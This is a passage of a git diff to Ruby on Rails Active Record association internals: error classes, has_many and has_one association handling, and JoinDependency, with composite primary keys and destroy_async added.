+  class ThroughCantAssociateThroughHasOneOrManyReflection < ActiveRecordError # :nodoc:
+    def initialize(owner = nil, reflection = nil)
+      if owner && reflection
+        super("Cannot modify association '#{owner.class.name}##{reflection.name}' because the source reflection class '#{reflection.source_reflection.class_name}' is associated to '#{reflection.through_reflection.class_name}' via :#{reflection.source_reflection.macro}.")
+      else
+        super("Cannot modify association.")
+      end
+    end
+  end
+
+  class CompositePrimaryKeyMismatchError < ActiveRecordError # :nodoc:
+    attr_reader :reflection
+
+    def initialize(reflection = nil)
+      if reflection
+        if reflection.has_one? || reflection.collection?
+          super("Association #{reflection.active_record}##{reflection.name} primary key #{reflection.active_record_primary_key} doesn't match with foreign key #{reflection.foreign_key}. Please specify query_constraints, or primary_key and foreign_key values.")
+        else
+          super("Association #{reflection.active_record}##{reflection.name} primary key #{reflection.association_primary_key} doesn't match with foreign key #{reflection.foreign_key}. Please specify query_constraints, or primary_key and foreign_key values.")
+        end
+      else
+        super("Association primary key doesn't match with foreign key.")
+      end
+    end
+  end
+
+  class AmbiguousSourceReflectionForThroughAssociation < ActiveRecordError # :nodoc:
+    def initialize(klass, macro, association_name, options, possible_sources)
+      example_options = options.dup
+      example_options[:source] = possible_sources.first
+
+      super("Ambiguous source reflection for through association. Please " \
+            "specify a :source directive on your declaration like:\n" \
+            "\n" \
+            "  class #{klass} < ActiveRecord::Base\n" \
+            "    #{macro} :#{association_name}, #{example_options}\n" \
+            "  end"
+           )
+    end
+  end
+
+  class HasManyThroughCantAssociateThroughHasOneOrManyReflection < ThroughCantAssociateThroughHasOneOrManyReflection # :nodoc:
+  end
+
+  class HasOneThroughCantAssociateThroughHasOneOrManyReflection < ThroughCantAssociateThroughHasOneOrManyReflection # :nodoc:
+  end
+
+  class ThroughNestedAssociationsAreReadonly < ActiveRecordError # :nodoc:
+    def initialize(owner = nil, reflection = nil)
+      if owner && reflection
+        super("Cannot modify association '#{owner.class.name}##{reflection.name}' because it goes through more than one other association.")
+      else
+        super("Through nested associations are read-only.")
+      end
+    end
+  end
+
+  class HasManyThroughNestedAssociationsAreReadonly < ThroughNestedAssociationsAreReadonly # :nodoc:
+  end
+
+  class HasOneThroughNestedAssociationsAreReadonly < ThroughNestedAssociationsAreReadonly # :nodoc:
+  end
+
+  # This error is raised when trying to eager load a polymorphic association using a JOIN.
+  # Eager loading polymorphic associations is only possible with
+  # {ActiveRecord::Relation#preload}[rdoc-ref:QueryMethods#preload].
+  class EagerLoadPolymorphicError < ActiveRecordError
+    def initialize(reflection = nil)
+      if reflection
+        super("Cannot eagerly load the polymorphic association #{reflection.name.inspect}")
+      else
+        super("Eager load polymorphic error.")
+      end
+    end
+  end
+
+  # This error is raised when trying to destroy a parent instance in N:1 or 1:1 associations
+  # (has_many, has_one) when there is at least 1 child associated instance.
+  # ex: if @project.tasks.size > 0, DeleteRestrictionError will be raised when trying to destroy @project
+  class DeleteRestrictionError < ActiveRecordError # :nodoc:
+    def initialize(name = nil)
+      if name
+        super("Cannot delete record because of dependent #{name}")
+      else
+        super("Delete restriction error.")
+      end
+    end
+  end
+
+  class DeprecatedAssociationError < ActiveRecordError
+  end
+end
diff --git a/activerecord/lib/active_record/associations/foreign_association.rb b/activerecord/lib/active_record/associations/foreign_association.rb
index 3ceec0ee46885..37cd9d74c8a25 100644
--- a/activerecord/lib/active_record/associations/foreign_association.rb
+++ b/activerecord/lib/active_record/associations/foreign_association.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord::Associations
   module ForeignAssociation # :nodoc:
     def foreign_key_present?
@@ -7,5 +9,32 @@ def foreign_key_present?
         false
       end
     end
+
+    def nullified_owner_attributes
+      Hash.new.tap do |attrs|
+        Array(reflection.foreign_key).each { |foreign_key| attrs[foreign_key] = nil }
+        attrs[reflection.type] = nil if reflection.type.present?
+      end
+    end
+
+    private
+      # Sets the owner attributes on the given record
+      def set_owner_attributes(record)
+        return if options[:through]
+
+        primary_key_attribute_names = Array(reflection.join_primary_key)
+        foreign_key_attribute_names = Array(reflection.join_foreign_key)
+
+        primary_key_foreign_key_pairs = primary_key_attribute_names.zip(foreign_key_attribute_names)
+
+        primary_key_foreign_key_pairs.each do |primary_key, foreign_key|
+          value = owner._read_attribute(foreign_key)
+          record._write_attribute(primary_key, value)
+        end
+
+        if reflection.type
+          record._write_attribute(reflection.type, owner.class.polymorphic_name)
+        end
+      end
   end
 end
diff --git a/activerecord/lib/active_record/associations/has_many_association.rb b/activerecord/lib/active_record/associations/has_many_association.rb
index b413eb3f9ca39..f8dbc95b40e09 100644
--- a/activerecord/lib/active_record/associations/has_many_association.rb
+++ b/activerecord/lib/active_record/associations/has_many_association.rb
@@ -1,11 +1,14 @@
+# frozen_string_literal: true
+
 module ActiveRecord
-  # = Active Record Has Many Association
   module Associations
+    # = Active Record Has Many Association
+    #
     # This is the proxy that handles a has many association.
     #
     # If the association has a <tt>:through</tt> option further specialization
     # is provided by its child HasManyThroughAssociation.
-    class HasManyAssociation < CollectionAssociation #:nodoc:
+    class HasManyAssociation < CollectionAssociation # :nodoc:
       include ForeignAssociation
 
       def handle_dependency
@@ -24,6 +27,32 @@ def handle_dependency
           # No point in executing the counter update since we're going to destroy the parent anyway
           load_target.each { |t| t.destroyed_by_association = reflection }
           destroy_all
+        when :destroy_async
+          load_target.each do |t|
+            t.destroyed_by_association = reflection
+          end
+
+          unless target.empty?
+            association_class = target.first.class
+            if association_class.query_constraints_list
+              primary_key_column = association_class.query_constraints_list
+              ids = target.collect { |assoc| primary_key_column.map { |col| assoc.public_send(col) } }
+            else
+              primary_key_column = association_class.primary_key
+              ids = target.collect { |assoc| assoc.public_send(primary_key_column) }
+            end
+
+            ids.each_slice(owner.class.destroy_association_async_batch_size || ids.size) do |ids_batch|
+              enqueue_destroy_association(
+                owner_model_name: owner.class.to_s,
+                owner_id: owner.id,
+                association_class: reflection.klass.to_s,
+                association_ids: ids_batch,
+                association_primary_key_column: primary_key_column,
+                ensuring_owner_was_method: options.fetch(:ensuring_owner_was, nil)
+              )
+            end
+          end
         else
           delete_all
         end
@@ -31,24 +60,10 @@ def handle_dependency
 
       def insert_record(record, validate = true, raise = false)
         set_owner_attributes(record)
-
-        if raise
-          record.save!(validate: validate)
-        else
-          record.save(validate: validate)
-        end
-      end
-
-      def empty?
-        if reflection.has_cached_counter?
-          size.zero?
-        else
-          super
-        end
+        super
       end
 
       private
-
         # Returns the number of records in this collection.
         #
         # If the association has a counter cache it gets that value. Otherwise
@@ -63,16 +78,19 @@ def empty?
         # If the collection is empty the target is set to an empty array and
         # the loaded flag is set to true as well.
         def count_records
-          count = if reflection.has_cached_counter?
-            owner._read_attribute(reflection.counter_cache_column).to_i
+          count = if reflection.has_active_cached_counter?
+            owner.read_attribute(reflection.counter_cache_column).to_i
           else
-            scope.count
+            scope.count(:all)
           end
 
-          # If there's nothing in the database and @target has no new records
-          # we are certain the current target is an empty array. This is a
-          # documented side-effect of the method that may avoid an extra SELECT.
-          (@target ||= []) && loaded! if count == 0
+          # If there's nothing in the database, @target should only contain new
+          # records or be an empty array. This is a documented side-effect of
+          # the method that may avoid an extra SELECT.
+          if count == 0
+            target.select!(&:new_record?)
+            loaded!
+          end
 
           [association_scope.limit_value, count].compact.min
         end
@@ -87,7 +105,7 @@ def update_counter_in_memory(difference, reflection = reflection())
           if reflection.counter_must_be_updated_by_has_many?
             counter = reflection.counter_cache_column
             owner.increment(counter, difference)
-            owner.send(:clear_attribute_change, counter) # eww
+            owner.send(:"clear_#{counter}_change")
           end
         end
 
@@ -95,13 +113,14 @@ def delete_count(method, scope)
           if method == :delete_all
             scope.delete_all
           else
-            scope.update_all(reflection.foreign_key => nil)
+            scope.update_all(nullified_owner_attributes)
           end
         end
 
         def delete_or_nullify_all_records(method)
           count = delete_count(method, scope)
           update_counter(-count)
+          count
         end
 
         # Deletes the records according to the <tt>:dependent</tt> option.
@@ -110,7 +129,9 @@ def delete_records(records, method)
             records.each(&:destroy!)
             update_counter(-records.length) unless reflection.inverse_updates_counter_cache?
           else
-            scope = self.scope.where(reflection.klass.primary_key => records)
+            query_constraints = reflection.klass.composite_query_constraints_list
+            values = records.map { |r| query_constraints.map { |col| r._read_attribute(col) } }
+            scope = self.scope.where(query_constraints => values)
             update_counter(-delete_count(method, scope))
           end
         end
@@ -133,6 +154,14 @@ def update_counter_if_success(saved_successfully, difference)
           end
           saved_successfully
         end
+
+        def difference(a, b)
+          a - b
+        end
+
+        def intersection(a, b)
+          a & b
+        end
     end
   end
 end
diff --git a/activerecord/lib/active_record/associations/has_many_through_association.rb b/activerecord/lib/active_record/associations/has_many_through_association.rb
index c4a7fe4432be7..7b8e000842e09 100644
--- a/activerecord/lib/active_record/associations/has_many_through_association.rb
+++ b/activerecord/lib/active_record/associations/has_many_through_association.rb
@@ -1,14 +1,14 @@
+# frozen_string_literal: true
+
 module ActiveRecord
-  # = Active Record Has Many Through Association
   module Associations
-    class HasManyThroughAssociation < HasManyAssociation #:nodoc:
+    # = Active Record Has Many Through Association
+    class HasManyThroughAssociation < HasManyAssociation # :nodoc:
       include ThroughAssociation
 
       def initialize(owner, reflection)
         super
-
-        @through_records     = {}
-        @through_association = nil
+        @through_records = {}.compare_by_identity
       end
 
       def concat(*records)
@@ -21,29 +21,11 @@ def concat(*records)
         super
       end
 
-      def concat_records(records)
-        ensure_not_nested
-
-        records = super(records, true)
-
-        if owner.new_record? && records
-          records.flatten.each do |record|
-            build_through_record(record)
-          end
-        end
-
-        records
-      end
-
       def insert_record(record, validate = true, raise = false)
         ensure_not_nested
 
         if record.new_record? || record.has_changes_to_save?
-          if raise
-            record.save!(validate: validate)
-          else
-            return unless record.save(validate: validate)
-          end
+          return unless super
         end
 
         save_through_record(record)
@@ -52,9 +34,18 @@ def insert_record(record, validate = true, raise = false)
       end
 
       private
+        def concat_records(records)
+          ensure_not_nested
 
-        def through_association
-          @through_association ||= owner.association(through_reflection.name)
+          records = super(records, true)
+
+          if owner.new_record? && records
+            records.flatten.each do |record|
+              build_through_record(record)
+            end
+          end
+
+          records
         end
 
         # The through record (built with build_record) is temporarily cached
@@ -63,28 +54,28 @@ def through_association
         # However, after insert_record has been called, the cache is cleared in
         # order to allow multiple instances of the same record in an association.
         def build_through_record(record)
-          @through_records[record.object_id] ||= begin
+          @through_records[record] ||= begin
             ensure_mutable
 
-            through_record = through_association.build(*options_for_through_record)
-            through_record.send("#{source_reflection.name}=", record)
+            attributes = through_scope_attributes
+            attributes[source_reflection.name] = record
 
-            if options[:source_type]
-              through_record.send("#{source_reflection.foreign_type}=", options[:source_type])
+            through_association.build(attributes).tap do |new_record|
+              new_record.send("#{source_reflection.foreign_type}=", options[:source_type]) if options[:source_type]
             end
-
-            through_record
           end
         end
 
-        def options_for_through_record
-          [through_scope_attributes]
-        end
+        attr_reader :through_scope
 
         def through_scope_attributes
-          scope.where_values_hash(through_association.reflection.name.to_s).
-            except!(through_association.reflection.foreign_key,
-                    through_association.reflection.klass.inheritance_column)
+          scope = through_scope || self.scope
+          attributes = scope.where_values_hash(through_association.reflection.klass.table_name)
+          except_keys = [
+            *Array(through_association.reflection.foreign_key),
+            through_association.reflection.klass.inheritance_column
+          ]
+          attributes.except!(*except_keys)
         end
 
         def save_through_record(record)
@@ -93,15 +84,22 @@ def save_through_record(record)
             association.save!
           end
         ensure
-          @through_records.delete(record.object_id)
+          @through_records.delete(record)
         end
 
         def build_record(attributes)
           ensure_not_nested
 
-          record = super(attributes)
+          @through_scope = scope
+          record = super
+
+          inverse =
+            if source_reflection.polymorphic?
+              source_reflection.polymorphic_inverse_of(record.class)
+            else
+              source_reflection.inverse_of
+            end
 
-          inverse = source_reflection.inverse_of
           if inverse
             if inverse.collection?
               record.send(inverse.name) << build_through_record(record)
@@ -111,10 +109,17 @@ def build_record(attributes)
           end
 
           record
+        ensure
+          @through_scope = nil
+        end
+
+        def remove_records(existing_records, records, method)
+          super
+          delete_through_records(records)
         end
 
         def target_reflection_has_associated_record?
-          !(through_reflection.belongs_to? && owner[through_reflection.foreign_key].blank?)
+          !(through_reflection.belongs_to? && Array(through_reflection.foreign_key).all? { |foreign_key_column| owner[foreign_key_column].blank? })
         end
 
         def update_through_counter?(method)
@@ -137,21 +142,15 @@ def delete_records(records, method)
 
           scope = through_association.scope
           scope.where! construct_join_attributes(*records)
+          scope = scope.where(through_scope_attributes)
 
           case method
           when :destroy
-            if scope.klass.primary_key
-              count = scope.destroy_all.length
+            if scope.model.primary_key
+              count = scope.destroy_all.count(&:destroyed?)
             else
               scope.each(&:_run_destroy_callbacks)
-
-              arel = scope.arel
-
-              stmt = Arel::DeleteManager.new
-              stmt.from scope.klass.arel_table
-              stmt.wheres = arel.constraints
-
-              count = scope.klass.connection.delete(stmt, "SQL", scope.bound_attributes)
+              count = scope.delete_all
             end
           when :nullify
             count = scope.update_all(source_reflection.foreign_key => nil)
@@ -171,6 +170,30 @@ def delete_records(records, method)
           else
             update_counter(-count)
           end
+
+          count
+        end
+
+        def difference(a, b)
+          distribution = distribution(b)
+
+          a.reject { |record| mark_occurrence(distribution, record) }
+        end
+
+        def intersection(a, b)
+          distribution = distribution(b)
+
+          a.select { |record| mark_occurrence(distribution, record) }
+        end
+
+        def mark_occurrence(distribution, record)
+          distribution[record] > 0 && distribution[record] -= 1
+        end
+
+        def distribution(array)
+          array.each_with_object(Hash.new(0)) do |record, distribution|
+            distribution[record] += 1
+          end
         end
 
         def through_records_for(record)
@@ -195,12 +218,14 @@ def delete_through_records(records)
               end
             end
 
-            @through_records.delete(record.object_id)
+            @through_records.delete(record)
           end
         end
 
-        def find_target
+        def find_target(async: false)
+          raise NotImplementedError, "No async loading for HasManyThroughAssociation yet" if async
           return [] unless target_reflection_has_associated_record?
+          return scope.to_a if disable_joins
           super
         end
 
diff --git a/activerecord/lib/active_record/associations/has_one_association.rb b/activerecord/lib/active_record/associations/has_one_association.rb
index 8458253ff83dd..5e1b523dbefec 100644
--- a/activerecord/lib/active_record/associations/has_one_association.rb
+++ b/activerecord/lib/active_record/associations/has_one_association.rb
@@ -1,7 +1,9 @@
+# frozen_string_literal: true
+
 module ActiveRecord
-  # = Active Record Has One Association
   module Associations
-    class HasOneAssociation < SingularAssociation #:nodoc:
+    # = Active Record Has One Association
+    class HasOneAssociation < SingularAssociation # :nodoc:
       include ForeignAssociation
 
       def handle_dependency
@@ -21,49 +23,66 @@ def handle_dependency
         end
       end
 
-      def replace(record, save = true)
-        raise_on_type_mismatch!(record) if record
-        load_target
-
-        return target unless target || record
-
-        assigning_another_record = target != record
-        if assigning_another_record || record.has_changes_to_save?
-          save &&= owner.persisted?
-
-          transaction_if(save) do
-            remove_target!(options[:dependent]) if target && !target.destroyed? && assigning_another_record
-
-            if record
-              set_owner_attributes(record)
-              set_inverse_instance(record)
-
-              if save && !record.save
-                nullify_owner_attributes(record)
-                set_owner_attributes(target) if target
-                raise RecordNotSaved, "Failed to save the new associated #{reflection.name}."
-              end
-            end
-          end
-        end
-
-        self.target = record
-      end
-
       def delete(method = options[:dependent])
         if load_target
           case method
           when :delete
             target.delete
           when :destroy
+            target.destroyed_by_association = reflection
             target.destroy
+            throw(:abort) unless target.destroyed?
+          when :destroy_async
+            if target.class.query_constraints_list
+              primary_key_column = target.class.query_constraints_list
+              id = primary_key_column.map { |col| target.public_send(col) }
+            else
+              primary_key_column = target.class.primary_key
+              id = target.public_send(primary_key_column)
+            end
+
+            enqueue_destroy_association(
+              owner_model_name: owner.class.to_s,
+              owner_id: owner.id,
+              association_class: reflection.klass.to_s,
+              association_ids: [id],
+              association_primary_key_column: primary_key_column,
+              ensuring_owner_was_method: options.fetch(:ensuring_owner_was, nil)
+            )
           when :nullify
-            target.update_columns(reflection.foreign_key => nil) if target.persisted?
+            target.update_columns(nullified_owner_attributes) if target.persisted?
           end
         end
       end
 
       private
+        def replace(record, save = true)
+          raise_on_type_mismatch!(record) if record
+
+          return target unless load_target || record
+
+          assigning_another_record = target != record
+          if assigning_another_record || record.has_changes_to_save?
+            save &&= owner.persisted?
+
+            transaction_if(save) do
+              remove_target!(options[:dependent]) if target && !target.destroyed? && assigning_another_record
+
+              if record
+                set_owner_attributes(record)
+                set_inverse_instance(record)
+
+                if save && !record.save
+                  nullify_owner_attributes(record)
+                  set_owner_attributes(target) if target
+                  raise RecordNotSaved.new("Failed to save the new associated #{reflection.name}.", record)
+                end
+              end
+            end
+          end
+
+          self.target = record
+        end
 
         # The reason that the save param for replace is false, if for create (not just build),
         # is because the setting of the foreign keys is actually handled by the scoping when
@@ -78,30 +97,46 @@ def remove_target!(method)
           when :delete
             target.delete
           when :destroy
-            target.destroy
+            target.destroyed_by_association = reflection
+            if target.persisted?
+              target.destroy
+            end
           else
             nullify_owner_attributes(target)
             remove_inverse_instance(target)
 
             if target.persisted? && owner.persisted? && !target.save
               set_owner_attributes(target)
-              raise RecordNotSaved, "Failed to remove the existing associated #{reflection.name}. " \
-                                    "The record failed to save after its foreign key was set to nil."
+              raise RecordNotSaved.new(
+                "Failed to remove the existing associated #{reflection.name}. " \
+                "The record failed to save after its foreign key was set to nil.",
+                target
+              )
             end
           end
         end
 
         def nullify_owner_attributes(record)
-          record[reflection.foreign_key] = nil
+          Array(reflection.foreign_key).each do |foreign_key_column|
+            record[foreign_key_column] = nil unless foreign_key_column.in?(Array(record.class.primary_key))
+          end
         end
 
-        def transaction_if(value)
+        def transaction_if(value, &block)
           if value
-            reflection.klass.transaction { yield }
+            reflection.klass.transaction(&block)
           else
             yield
           end
         end
+
+        def _create_record(attributes, raise_error = false, &block)
+          unless owner.persisted?
+            raise ActiveRecord::RecordNotSaved.new("You cannot call create unless the parent is saved", owner)
+          end
+
+          super
+        end
     end
   end
 end
diff --git a/activerecord/lib/active_record/associations/has_one_through_association.rb b/activerecord/lib/active_record/associations/has_one_through_association.rb
index 1183bdf6f4e9c..e0a760cc7afec 100644
--- a/activerecord/lib/active_record/associations/has_one_through_association.rb
+++ b/activerecord/lib/active_record/associations/has_one_through_association.rb
@@ -1,20 +1,21 @@
+# frozen_string_literal: true
+
 module ActiveRecord
-  # = Active Record Has One Through Association
   module Associations
-    class HasOneThroughAssociation < HasOneAssociation #:nodoc:
+    # = Active Record Has One Through Association
+    class HasOneThroughAssociation < HasOneAssociation # :nodoc:
       include ThroughAssociation
 
-      def replace(record)
-        create_through_record(record)
-        self.target = record
-      end
-
       private
+        def replace(record, save = true)
+          create_through_record(record, save)
+          self.target = record
+        end
 
-        def create_through_record(record)
+        def create_through_record(record, save)
           ensure_not_nested
 
-          through_proxy  = owner.association(through_reflection.name)
+          through_proxy  = through_association
           through_record = through_proxy.load_target
 
           if through_record && !record
@@ -27,8 +28,12 @@ def create_through_record(record)
             end
 
             if through_record
-              through_record.update(attributes)
-            elsif owner.new_record?
+              if through_record.new_record?
+                through_record.assign_attributes(attributes)
+              else
+                through_record.update(attributes)
+              end
+            elsif owner.new_record? || !save
               through_proxy.build(attributes)
             else
               through_proxy.create(attributes)
diff --git a/activerecord/lib/active_record/associations/join_dependency.rb b/activerecord/lib/active_record/associations/join_dependency.rb
index 87e0847ec1297..eff68b6dc7e6e 100644
--- a/activerecord/lib/active_record/associations/join_dependency.rb
+++ b/activerecord/lib/active_record/associations/join_dependency.rb
@@ -1,8 +1,14 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Associations
     class JoinDependency # :nodoc:
-      autoload :JoinBase,        "active_record/associations/join_dependency/join_base"
-      autoload :JoinAssociation, "active_record/associations/join_dependency/join_association"
+      extend ActiveSupport::Autoload
+
+      eager_autoload do
+        autoload :JoinBase
+        autoload :JoinAssociation
+      end
 
       class Aliases # :nodoc:
         def initialize(tables)
@@ -12,10 +18,8 @@ def initialize(tables)
               i[column.name] = column.alias
             }
           }
-          @name_and_alias_cache = tables.each_with_object({}) { |table, h|
-            h[table.node] = table.columns.map { |column|
-              [column.name, column.alias]
-            }
+          @columns_cache = tables.each_with_object({}) { |table, h|
+            h[table.node] = table.columns
           }
         end
 
@@ -23,9 +27,8 @@ def columns
           @tables.flat_map(&:column_aliases)
         end
 
-        # An array of [column_name, alias] pairs for the table
         def column_aliases(node)
-          @name_and_alias_cache[node]
+          @columns_cache[node]
         end
 
         def column_alias(node, column)
@@ -33,20 +36,14 @@ def column_alias(node, column)
         end
 
         Table = Struct.new(:node, :columns) do # :nodoc:
-          def table
-            Arel::Nodes::TableAlias.new node.table, node.aliased_table_name
-          end
-
           def column_aliases
-            t = table
-            columns.map { |column| t[column.name].as Arel.sql column.alias }
+            t = node.table
+            columns.map { |column| t[column.name].as(column.alias) }
           end
         end
         Column = Struct.new(:name, :alias)
       end
 
-      attr_reader :alias_tracker, :base_klass, :join_root
-
       def self.make_tree(associations)
         hash = {}
         walk_tree associations, hash
@@ -64,88 +61,76 @@ def self.walk_tree(associations, hash)
         when Hash
           associations.each do |k, v|
             cache = hash[k] ||= {}
-            walk_tree v, cache
+            walk_tree v, cache if v
           end
         else
           raise ConfigurationError, associations.inspect
         end
       end
 
-      # base is the base class on which operation is taking place.
-      # associations is the list of associations which are joined using hash, symbol or array.
-      # joins is the list of all string join commands and arel nodes.
-      #
-      #  Example :
-      #
-      #  class Physician < ActiveRecord::Base
-      #    has_many :appointments
-      #    has_many :patients, through: :appointments
-      #  end
-      #
-      #  If I execute `@physician.patients.to_a` then
-      #    base # => Physician
-      #    associations # => []
-      #    joins # =>  [#<Arel::Nodes::InnerJoin: ...]
-      #
-      #  However if I execute `Physician.joins(:appointments).to_a` then
-      #    base # => Physician
-      #    associations # => [:appointments]
-      #    joins # =>  []
-      #
-      def initialize(base, associations, joins, eager_loading: true)
-        @alias_tracker = AliasTracker.create_with_joins(base.connection, base.table_name, joins, base.type_caster)
-        @eager_loading = eager_loading
+      def initialize(base, table, associations, join_type)
         tree = self.class.make_tree associations
-        @join_root = JoinBase.new base, build(tree, base)
-        @join_root.children.each { |child| construct_tables! @join_root, child }
+        @join_root = JoinBase.new(base, table, build(tree, base))
+        @join_type = join_type
+      end
+
+      def base_klass
+        join_root.base_klass
       end
 
       def reflections
         join_root.drop(1).map!(&:reflection)
       end
 
-      def join_constraints(outer_joins, join_type)
-        joins = join_root.children.flat_map { |child|
+      def join_constraints(joins_to_add, alias_tracker, references)
+        @alias_tracker = alias_tracker
+        @joined_tables = {}
+        @references = {}
 
-          if join_type == Arel::Nodes::OuterJoin
-            make_left_outer_joins join_root, child
-          else
-            make_inner_joins join_root, child
-          end
-        }
+        references.each do |table_name|
+          @references[table_name.to_sym] = table_name if table_name.is_a?(Arel::Nodes::SqlLiteral)
+        end unless references.empty?
 
-        joins.concat outer_joins.flat_map { |oj|
+        joins = make_join_constraints(join_root, join_type)
+
+        joins.concat joins_to_add.flat_map { |oj|
           if join_root.match? oj.join_root
-            walk join_root, oj.join_root
+            walk(join_root, oj.join_root, oj.join_type)
           else
-            oj.join_root.children.flat_map { |child|
-              make_outer_joins oj.join_root, child
-            }
+            make_join_constraints(oj.join_root, oj.join_type)
           end
         }
       end
 
-      def aliases
-        Aliases.new join_root.each_with_index.map { |join_part, i|
-          columns = join_part.column_names.each_with_index.map { |column_name, j|
-            Aliases::Column.new column_name, "t#{i}_r#{j}"
-          }
-          Aliases::Table.new(join_part, columns)
-        }
-      end
-
-      def instantiate(result_set, aliases)
-        primary_key = aliases.column_alias(join_root, join_root.primary_key)
+      def instantiate(result_set, strict_loading_value, &block)
+        primary_key = Array(join_root.primary_key).map { |column| aliases.column_alias(join_root, column) }
 
-        seen = Hash.new { |i, object_id|
-          i[object_id] = Hash.new { |j, child_class|
+        seen = Hash.new { |i, parent|
+          i[parent] = Hash.new { |j, child_class|
             j[child_class] = {}
           }
-        }
+        }.compare_by_identity
 
         model_cache = Hash.new { |h, klass| h[klass] = {} }
         parents = model_cache[join_root]
-        column_aliases = aliases.column_aliases join_root
+
+        column_aliases = aliases.column_aliases(join_root)
+        column_names = []
+
+        result_set.columns.each do |name|
+          column_names << name unless /\At\d+_r\d+\z/.match?(name)
+        end
+
+        if column_names.empty?
+          column_types = {}
+        else
+          column_types = result_set.column_types
+          unless column_types.empty?
+            attribute_types = join_root.attribute_types
+            column_types = column_types.slice(*column_names).delete_if { |k, _| attribute_types.key?(k) }
+          end
+          column_aliases += column_names.map! { |name| Aliases::Column.new(name, name) }
+        end
 
         message_bus = ActiveSupport::Notifications.instrumenter
 
@@ -156,75 +141,83 @@ def instantiate(result_set, aliases)
 
         message_bus.instrument("instantiation.active_record", payload) do
           result_set.each { |row_hash|
-            parent_key = primary_key ? row_hash[primary_key] : row_hash
-            parent = parents[parent_key] ||= join_root.instantiate(row_hash, column_aliases)
-            construct(parent, join_root, row_hash, result_set, seen, model_cache, aliases)
+            parent_key = primary_key.empty? ? row_hash : row_hash.values_at(*primary_key)
+            parent = parents[parent_key] ||= join_root.instantiate(row_hash, column_aliases, column_types, &block)
+            construct(parent, join_root, row_hash, seen, model_cache, strict_loading_value)
           }
         end
 
         parents.values
       end
 
-      private
+      def apply_column_aliases(relation)
+        @join_root_alias = relation.select_values.empty?
+        relation._select!(-> { aliases.columns })
+      end
 
-        def make_constraints(parent, child, tables, join_type)
-          chain         = child.reflection.chain
-          foreign_table = parent.table
-          foreign_klass = parent.base_klass
-          child.join_constraints(foreign_table, foreign_klass, child, join_type, tables, chain)
-        end
+      def each(&block)
+        join_root.each(&block)
+      end
 
-        def make_outer_joins(parent, child)
-          tables    = table_aliases_for(parent, child)
-          join_type = Arel::Nodes::OuterJoin
-          info      = make_constraints parent, child, tables, join_type
+      protected
+        attr_reader :join_root, :join_type
 
-          [info] + child.children.flat_map { |c| make_outer_joins(child, c) }
-        end
+      private
+        attr_reader :alias_tracker, :join_root_alias
 
-        def make_left_outer_joins(parent, child)
-          tables    = child.tables
-          join_type = Arel::Nodes::OuterJoin
-          info      = make_constraints parent, child, tables, join_type
+        def aliases
+          @aliases ||= Aliases.new join_root.each_with_index.map { |join_part, i|
+            column_names = if join_part == join_root && !join_root_alias
+              primary_key = join_root.primary_key
+              primary_key ? [primary_key] : []
+            else
+              join_part.column_names
+            end
 
-          [info] + child.children.flat_map { |c| make_left_outer_joins(child, c) }
+            columns = column_names.each_with_index.map { |column_name, j|
+              Aliases::Column.new column_name, "t#{i}_r#{j}"
+            }
+            Aliases::Table.new(join_part, columns)
+          }
         end
 
-        def make_inner_joins(parent, child)
-          tables    = child.tables
-          join_type = Arel::Nodes::InnerJoin
-          info      = make_constraints parent, child, tables, join_type
-
-          [info] + child.children.flat_map { |c| make_inner_joins(child, c) }
+        def make_join_constraints(join_root, join_type)
+          join_root.children.flat_map do |child|
+            make_constraints(join_root, child, join_type)
+          end
         end
 
-        def table_aliases_for(parent, node)
-          node.reflection.chain.map { |reflection|
-            alias_tracker.aliased_table_for(
-              reflection.table_name,
-              table_alias_for(reflection, parent, reflection != node.reflection)
-            )
-          }
-        end
+        def make_constraints(parent, child, join_type)
+          foreign_table = parent.table
+          foreign_klass = parent.base_klass
+          child.join_constraints(foreign_table, foreign_klass, join_type, alias_tracker) do |reflection, remaining_reflection_chain|
+            table, terminated = @joined_tables[remaining_reflection_chain]
+            root = reflection == child.reflection
 
-        def construct_tables!(parent, node)
-          node.tables = table_aliases_for(parent, node)
-          node.children.each { |child| construct_tables! node, child }
-        end
+            if table && (!root || !terminated)
+              @joined_tables[remaining_reflection_chain] = [table, root] if root
+              next table, true
+            end
+
+            table_name = @references[reflection.name.to_sym]&.to_s
+
+            table = alias_tracker.aliased_table_for(reflection.klass.arel_table, table_name) do
+              name = reflection.alias_candidate(parent.table_name)
+              root ? name : "#{name}_join"
+            end
 
-        def table_alias_for(reflection, parent, join)
-          name = "#{reflection.plural_name}_#{parent.table_name}"
-          name << "_join" if join
-          name
+            @joined_tables[remaining_reflection_chain] ||= [table, root] if join_type == Arel::Nodes::OuterJoin
+            table
+          end.concat child.children.flat_map { |c| make_constraints(child, c, join_type) }
         end
 
-        def walk(left, right)
+        def walk(left, right, join_type)
           intersection, missing = right.children.map { |node1|
             [left.children.find { |node2| node1.match? node2 }, node1]
           }.partition(&:first)
 
-          ojs = missing.flat_map { |_, n| make_outer_joins left, n }
-          intersection.flat_map { |l, r| walk l, r }.concat ojs
+          joins = intersection.flat_map { |l, r| r.table = l.table; walk(l, r, join_type) }
+          joins.concat missing.flat_map { |_, n| make_constraints(left, n, join_type) }
         end
 
         def find_reflection(klass, name)
@@ -239,15 +232,16 @@ def build(associations, base_klass)
             reflection.check_eager_loadable!
 
             if reflection.polymorphic?
-              next unless @eager_loading
               raise EagerLoadPolymorphicError.new(reflection)
             end
 
-            JoinAssociation.new reflection, build(right, reflection.klass)
-          end.compact
+            Deprecation.guard(reflection) { "referenced in query to join its table" }
+
+            JoinAssociation.new(reflection, build(right, reflection.klass))
+          end
         end
 
-        def construct(ar_parent, parent, row, rs, seen, model_cache, aliases)
+        def construct(ar_parent, parent, row, seen, model_cache, strict_loading_value)
           return if ar_parent.nil?
 
           parent.children.each do |node|
@@ -256,42 +250,43 @@ def construct(ar_parent, parent, row, rs, seen, model_cache, aliases)
               other.loaded!
             elsif ar_parent.association_cached?(node.reflection.name)
               model = ar_parent.association(node.reflection.name).target
-              construct(model, node, row, rs, seen, model_cache, aliases)
+              construct(model, node, row, seen, model_cache, strict_loading_value)
               next
             end
 
-            key = aliases.column_alias(node, node.primary_key)
-            id = row[key]
-            if id.nil?
+            if node.primary_key
+              keys = Array(node.primary_key).map { |column| aliases.column_alias(node, column) }
+              id = keys.map { |key| row[key] }
+            else
+              keys = Array(node.reflection.join_primary_key).map { |column| aliases.column_alias(node, column.to_s) }
+              id = keys.map { nil } # Avoid id-based model caching.
+            end
+
